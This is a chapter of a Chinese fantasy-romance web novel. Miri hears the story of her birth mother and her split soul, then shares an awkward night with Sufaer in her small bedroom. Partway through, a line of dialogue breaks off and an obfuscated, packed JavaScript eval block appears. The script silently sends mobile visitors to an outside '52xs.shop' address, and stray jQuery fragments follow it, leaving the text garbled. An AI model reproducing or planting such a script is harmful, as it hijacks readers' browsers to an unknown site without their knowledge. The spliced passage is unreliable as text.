咪莉从来没有见过这么纯净清澈的男孩子,雪白的一身让他好比天使般优雅高贵。
她拘谨地跟莫鸦打了个招呼,莫鸦冲她微微一笑,向雪莱问了好,然后单独带咪莉去后室说明了自己的来意。
他说这次来是要带她去大陆的中心圣光城正式入职圣女,只是一周前到这里后没有见到人,才在这里多住了几日,他的同伴博安住在邻街的旅馆中。
咪莉了然地点点头,只是要求想多留几天,她刚回家,想和家人多待一段日子。
莫鸦也很通情达理地同意了,并且说塔朗镇是个很安逸的地方,他也想在这里多住几天。
面对这么善解人意言语亲切的男孩子,而且还带有一种慈祥和蔼的目光,咪莉倒觉得不好意思了,觉得对方肯定是把自己当成小孩子一样哄了。
晚饭的时候,因为咪莉的归来,雪莱做了不少咪莉爱吃的饭菜,平日在街上饭店用餐的莫鸦和博安今晚也留了下来。
只是苏法尔依旧不见人影。
咪莉这顿晚饭吃得心不在焉,饭桌上应付着妈妈不知说过多少遍的教导,偶尔回应莫鸦的一些问题,等到天彻底黑下来,准备收拾桌子时,莫鸦热情地要帮忙,雪莱把他往外推,说哪能让客人洗碗。
博安也是如此,当然结果是一起被赶。
莫鸦摸着自己的头发有些不好意思,几次都没成功进到厨房,只好不再坚持,回到给他收拾出来的客房休息,博安和他一起回去房间说着什么事。
咪莉和她妈妈在厨房洗着餐具,心里仍然在想着苏法尔到底去了哪儿,为什么不说一声就消失不见了。
她的心里有一团不安在慢慢滋生。
收拾完厨房,雪莱摘下围裙,叫住准备去店门口看看的咪莉说:“咪莉,跟我来房间吧,我告诉你亲生母亲的事。”
咪莉惊诧地回头,久久都不知道说什么,只是沉默地跟着妈妈去房间里。
雪莱从抽屉里拿出一张薄薄的掌心大小的相片,由于胶片劣质,上面的色彩已经模糊相连,像用了颜料胡乱涂抹,看不清上面人的原本面容了。
“这是你亲生妈妈,伊瑞妮。”雪莱把这张久远的照片递到咪莉手里,“年纪轻轻就患上了奇症,生下你没多久就去世了。”
咪莉低头看着手里这张照片,背景是在一个照相馆中,伊瑞妮的脸虽然看不清了,但可以看出她大概的妆容,乌黑的长发带着些微卷自然垂在身上,穿着一套上下两件式的紫色绒裙,除此之外没有任何装饰,翘起的嘴角和微歪的脑袋可以看出她当时拍照时的心情特别好。
“巫师说你十八岁时会有灾祸降临时,伊瑞妮就开始准备分离你灵魂的计划了。”
雪莱声音很轻,在白炽灯下有一种悠远清软的叹息感:“她把你的灵魂一分为二,一半没有意识的副魂寄宿于一具傀儡体内,一半主魂留在你本体内,本是等你过了十八岁,十九岁的时候才会自动融合,却没想到因为琉莎的事让你提前融合了,也没想到你会被选为圣女。”
雪莱看了眼咪莉,又低下了脸:“咪莉,对不起,现在才告诉你真相。”
咪莉摇摇头,抬起脸时,眼睛有些湿润,见妈妈一脸落寞的神情,她靠近了妈妈一些,双手抱住她的腰,在她肩上闭上眼睛:“不要这么说,妈妈又没有错。”
谁都没有错,要怪就只能怪无情的老天爷对自己亲生妈妈不好,让她这么快就离开自己。
咪莉一向坚强,不怎么向妈妈展露自己脆弱的一面,但当她抱住雪莱的那一瞬,泪水还是决堤了,雪莱轻轻拍了拍她的背,说她的灾祸过去了。
咪莉咽了咽喉咙的酸涩,努力压下不断涌出的泪水,在妈妈肩上点点下巴:“嗯。”
她的灾祸应该是指的琉莎杀害她这件事。
平缓了好大一会儿,咪莉抹掉脸上的泪,从雪莱怀里出来,垂下红通通的眼睫尽量用自己最正常的语气说:“琉莎现在怎么样了?”
雪莱见咪莉眼睫毛湿漉漉的,也是忍不住哽咽,摸了摸她的脑袋:“因为当时找不到你的尸体,无法定罪,琉莎被关进了城里的大牢里监管,现在你回来了,应该会推动案件了。”
“琉莎会怎么样?”
“我问过城主大人的使吏,如果你是死亡,琉莎会被流放到一座矿山做奴役,如果你是受伤的话,根据你受伤的程度关押五年到十年有期徒刑。”
咪莉若有所思地点点头,她还是没有记起琉莎什么时候跟她说过喜欢奥倾的话,她打算明天去看看琉莎。
两人在房间里聊了很久,最后是以妈妈的“不要太辛苦”为结尾。
咪莉从妈妈房间里出来后,外面忽然起了一阵大风,吹得院子里的大片蒲叶沙沙响,而雪莱对面的亮灯房间就是莫鸦居住的客房,她看过去后,对面那扇窗子正好被推开。
莫鸦从里面探出头来,瞧见了站在走廊下的咪莉,有些欣喜地睁大些眼睛:“咦,咪莉刚从你母亲房里出来吗?看来聊了很久啊。”
咪莉对他腼腆地笑笑,说了几句话,就回去了店铺里。
店铺的门半掩着,挂着歇息的牌子,这阵忽来的狂风吹得整条街都变得萧索起来,天上的星子和也不见了,月牙被浓云遮掩起来,只有淡淡的街灯和每家阁楼的灯光映衬着这片如浓墨的天穹。
咪莉在门口站了一会儿,始终没等到谁,她搓了搓有些变僵的手回去关店门,心里怪道这里的天气从来没有这样阴冷过的。
回到房间里,咪莉瘫倒在自己久违的摇晃小木床,黑发凌乱地铺在印有小山梅花的床单上,她望着天花板,终于有了一种落地感,那些颠沛流离的日子真是一场不切实际的奇梦一样存在脑海里。
但是苏法尔,你去哪儿了?
银色的烛台燃着水晶石灯,小小的光晕映在紧闭的双扇窗上,她住的二楼,窗子外面便是微微嘈乱的大街。
咪莉在床上滚了两圈,闻着被子上熟悉的清新花香,终于是驱散了些心底的隐隐不安感,她坐起来挠了两下头发,去衣柜里拿出换洗衣服准备去洗澡,却在床边脱衣服到一半时,好像听见窗户那边有什么动静。
她的裙子掀到了一半,从手臂缝隙里看见窗户从外面被打开了。
苏法尔一只手扣着窗框,一只手按在窗台上,爬窗的一条腿抬进来一半,便看见咪莉环着双臂将裙摆掀到腋下的姿势。
“唔,我好像来的不是时候。”苏法尔这样说着,却直接跳了进来,把窗户合上,站在那里含笑看着。
咪莉愣愣地眨了眨眼,一整个晚上的魂不守舍终于在看见苏法尔后人魂合一了。
她尖叫着放下裙摆爬到床上用被子裹住自己,惊怒交加:“你在干什么?!”
又想到他一整个下午都不见人影,又立马掀开被子下床追问:“还有你去哪里了?为什么一声不吭就消失啊!”
苏法尔伸手理了理咪莉脑袋上翘起的几根炸毛笑说:“不想给你添麻烦,难道你要跟你妈妈介绍说,我是你丈夫吗?那奥倾呢?”
咪莉没料到他会这样说,她心里不太舒服,偏过脸说:“看不出来你还是个会为别人着想的人,还有你明明知道奥倾他……”
咪莉愤恨地转身走到床边,拿起枕头砸了一下床:“你故意取笑我,取笑我傻,被男人骗对不对?”
“我没有这样想。”苏法尔轻轻滚动了下喉结,也收敛了笑意,“是你一直忘不了他,咪莉。”
咪莉像被说中心事一样,她低下头,抱着枕头坐在床边一言不发。
苏法尔走到她面前,看着她小巧的鼻尖和颤悠悠的清秀睫毛,想要开口说什么时,听见咪莉说:“早晚会忘掉的。”
她不会再喜欢奥倾了。
苏法尔心一动,眼眸微微暗了一些,伸手捋正她肩上的裙带说:“要洗澡是吗?去洗吧,我等你出来。”
咪莉搂着枕头抬头不太高兴地说:“你还没说你消失去哪里了。”
“我下午就在街头的咖啡店里坐着,晚上在隔壁吃的快餐。”他有些感伤地望着天花板上的淡淡花纹,“其实只要你稍微找一找,就会发现我的。”
咪莉一怔,随即解释道:“我哪有时间找你……”又像是掩饰什么,快速补充:“我才不会找你。”
她把枕头丢到床上,站起来说:“那你现在来这里是做什么?”
已经回到这个时代了,还会取她神力吗?其实想想,苏法尔主动为她融合神力,就已经说明他不会再取了,这也是她一直不安的理由。
苏法尔回望着她,黑色的眼睛像珍珠般充满光泽,他每次这样沉默的时候,都会让咪莉止不住地心神不宁,他的眼睛总是这样充满魔力,诱惑着她沉溺其中。
两人无声了好久,苏法尔笑了一下说:“钱花光了,晚上没地方睡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335480|145966||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
咪莉的五官顿时皱在一起。
她的床太小,苏法尔和她躺在一起显得很拥挤,翻个身都能蹭到对方的胳膊。
咪莉的睡衣是宽松细带裙,苏法尔每次一动,两人胳膊都会贴在一起,细嫩的肌肤被他洗完澡后重新穿上的衬衫布料磨着,身体就会浑身不自在,脸颊烧得火热。
咪莉翻个身背对了他,把手掌压在脸下降温,奈何手也是火热一片。
太热了,一定是两个人睡太拥挤了才会这样。
咪莉呼了一口气下床说:“我去拿些冰水喝,你要喝吗?”
苏法尔躺在床上应了一声。
咪莉在楼下先喝了大半杯柠檬水才重新接了一杯上来,苏法尔已经坐在了床上,两手放在膝盖上,垂着脸发呆。
“冰加的不是很多。”咪莉把水给他,然后回到床的另一边坐进被窝里,但她发现刚刚在楼下喝了半杯冰水好像并没有降温,她现在听着苏法尔咕咚咕咚喝水的声音又开始脸臊起来了。
她到底是怎么了?
咪莉躺下后拽了拽被子说:“苏法尔,你热吗?”
苏法尔把剩下的一半水放到床头,也跟着躺下去:“好像是有点热。”
咪莉左思右想,终于给她找出一个理由来:“啊,大概是因为灯还没关,我去关灯!”
然后她噔噔噔起来去关灯,屋子里顿时陷入一片漆黑,她心跳不稳地又回来,但因为太过着急,回来的时候踢到了床脚,痛的她绊倒在床上。
柔软的被褥下,是苏法尔的身体,咪莉不知道按到了什么,苏法尔急剧地往后躲了躲,然后在黑暗中问她:“没事吧?”声音听起来也有些不稳和尴尬。
咪莉郁闷地双手双脚并用地爬上床,掀开被子躺进去呜呜呀呀哼唧:“嗯……没什么大事,就是脚趾头有些疼。”
她蜷缩在被子里握着脚丫揉着脚趾头,下一秒苏法尔的身体就贴了上来,手伸下去摸到咪莉揉的那只脚说:“我给你揉揉。”
咪莉松开手从喉咙里懒懒地应了一声,她现在的姿势特别像一个被抱在怀里的婴儿,十分有安全感。
“还疼吗?”苏法尔轻缓地揉着她柔嫩的脚丫,得到她不怎么疼了的回答后,他的手心展开,一寸一寸地由她脚趾移到她的脚心,再慢慢往上,握住她纤瘦的脚踝。
咪莉被他的动作弄得脚心发痒,四肢都像被电流窜过一样发麻,她觉得现在的状态很奇怪,小狗呜咽般哼唧了一声,在他怀里翻了个身,和他面对着面,昏暗的室内,她完全看不见对方是睁着眼睛还是闭着眼睛。
“你想好接下来怎么救你父亲了吗?”她找着话题闲聊。
苏法尔把手放到了她的腰上,声音在夜里显得格外寂淡:“嗯。”
他没有多说,咪莉也明白她再问也问不出什么了,便垂下眼睫在被子里扣着手指头发呆。
当她还想说什么时,苏法尔却忽然起身说:“我还是在地板上睡吧,床太小,你睡得会不舒服。”
随后是他走动的脚步声,开灯声。
咪莉半撑起了身子,和站在电灯开关处的苏法尔无声相望着,她又觉得苏法尔在疏远她了,完全没有理由般。
苏法尔拿了一套单薄的地毯铺在床边,咪莉什么也没说地分给他一只枕头,拿出一床被子给他,然后回到床上躺下,期间一句交流也没有,空气里弥漫着一种死水凝滞的沉闷感。
苏法尔关了灯,躺进地铺里,在黑暗里睁着眼睛。
他夜能视物,刚刚自然把咪莉眼里低落的情绪看在眼里,他很想开口问问咪莉喜不喜欢他,但他竟然会感到害怕,怕得到一个不想听的答案。
艰难险阻从不畏惧,却会害怕女孩子的一句话。
等过了好久,苏法尔才从地上起来,坐到床边凝视着咪莉的睡颜,他不知道咪莉有没有睡着,只是急迫地想要听到这个答案,但又害怕咪莉听到他的问题,他用很轻很轻的声音,几乎自言自语般悄悄地问:“你喜欢我吗?”
他没有得到回答,咪莉的脸庞甚至没有一丝变化,她睡得很熟。
第二天的清晨,第一缕阳光掠过无数楼顶落进咪莉的房间内时,咪莉像从梦中惊醒般猛然睁开眼睛,双眼无神地发了会儿呆,才想起什么赶紧坐了起来。
地上已经没有了人,连被子地毯都叠好放在了她的椅子里,苏法尔又不见了。